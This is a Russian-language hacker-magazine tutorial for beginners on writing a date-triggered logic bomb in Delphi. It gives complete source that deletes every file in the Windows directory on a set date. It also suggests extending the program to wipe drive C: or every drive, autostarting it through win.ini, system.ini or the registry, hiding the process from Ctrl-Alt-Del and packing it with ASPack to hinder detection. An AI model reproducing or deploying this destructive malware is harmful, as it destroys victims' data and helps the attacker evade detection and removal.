Логическая бомба на Delphi Системные требования -- Delphi 5, умение программировать методом Copy-Paste + немного мозгов (совсем чуть-чуть!!!) -- BEGIN --
Предупреждаю сразу - статья расчитана на начинающих Делфи-кодеров, поэтому галимый флуд насчет уровня статьи все недовольные могут засунуть себе в }|{0nY. %)) Для начала немного теории. Логическая бомба - это прога, которая некоторое время сидит в памяти и проверяет заранее заданный параметр, при совпадении которого происходят какие-либо действия со стороны программы. Обычно это время или дата, хотя все зависит от твоей фантазии... %) Итак, вот простенький пример заготовки для логической бомбы: program Logical_b0mb; begin if {условие} then {если совпадает - срабатывание} begin {действия при срабатывание} end else {иначе} exit; {выход из проги} end. Этот кусок проги не скомпилится, если не будет указан ОБЯЗАТЕЛЬНЫЙ параметр - условиe. Крайне рекомендуется при несовпадении параметра - выгружать программу из памяти, т.к. это сильно затрудняет ее обнаружение. Стартовать прогу следует через win.ini или system.ini, на крайняк - через реестр.Вот работоспособная заготовка бомбы: program Logical_b0mb; uses sysutils; begin if datetostr(date) = '22.08.01' then {проверка даты} begin {код, выполняющийся при совпадении текущей даты с заданной} end else exit; end. Ну все, заготовка сделана, осталось вставить деструктивный код %)). Если кто-то хочет активировать прогу по времени - вместо datetostr(date) следует написать timetostr(time).Для примера в качестве деструктивного %) кода рассмотрим удаление файлов из папки Маздая. Можно заюзать следующую функцию.... function GetMustDieDir: string; var Buffer: array[0..max_path] of Char; begin SetString(Result, Buffer, GetWindowsDirectory(Buffer, SizeOf(Buffer))); end; ... но если кто-то не хочет набиваем каждый раз ручками следующие: uses windows; var p: array[0..max_path] of char; s: string; begin GetWindowsDirectory(p, max_path); s:= strpas(p) + '\'; end; Полный текст проги должен выглядеть так: program Logical_b0mb; uses windows, sysutils; var p: array[0..max_path] of char; s: string; begin if datetostr(date) = '22.08.01' then begin GetWindowsDirectory(p, max_path); s:= strpas(p) + '\'; end else exit; end. Ну можно считать, половина проги готова %)) Для удаления файлов воспользуемся функциями FindFirst FindNext: program Logical_b0mb; uses windows, sysutils; var p: array[0..max_path] of char; s: string; sr: tsearchrec; begin if datetostr(date) = '22.08.01' then begin GetWindowsDirectory(p, max_path); s:= strpas(p) + '\'; if FindFirst(s + '*.*',faanyfile,sr) <> 0 then FindClose(sr) else { если функция FindFirst возвращает значение не ноль - завершить поиск, если ноль тогда продолжить} repeat {продолжать} deletefile(s + sr.name); {удаление найденного файла} until {пока} Findnext(sr) <> 0; {не возвращено значение ноль} FindClose(sr);{тогда закончить поиск} end else exit; end. Эта прога при загрузке проверяет дату и если дата совпадает - удаляет все файлы из директории Windows. Это, конечно, ОЧЕНЬ простая прога, но если ты 10-20 минут посидишь за Делфей, реализуешь полную очистку диска C: (а может и все дисков %), какие-нибудь дополнительные фичи - получится неплохая программулька. Убрать показ по Ctrl-Alt-Del можно следующим образом (только Win9x): в var'e обьявляем переменную var function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; в самой проге пишем: RegisterServiceProcess(GetCurrentProcessID, 1); Но я не рекомендую этого делать, т.к. прога, при несовпадении даты, практически сразу выгружает себя из памяти, а обработка kernel32.dll не даст проге работать под WinNT.
После компиляции рекомендуется зажимать прогу ASPack'ом (http://www.aspack.com). Чтобы самому не облажаться и не держать у себя на винте подобный софт, - почаще юзай маздайскую утилиту msconfig (Win9x) или Панель Управления > Администрирование > Службы (Win2000).
![AboutPC - электроный оффлайн журнал о компьютерах](http://www.aboutpc.net/sitebaners/88x31.gif) |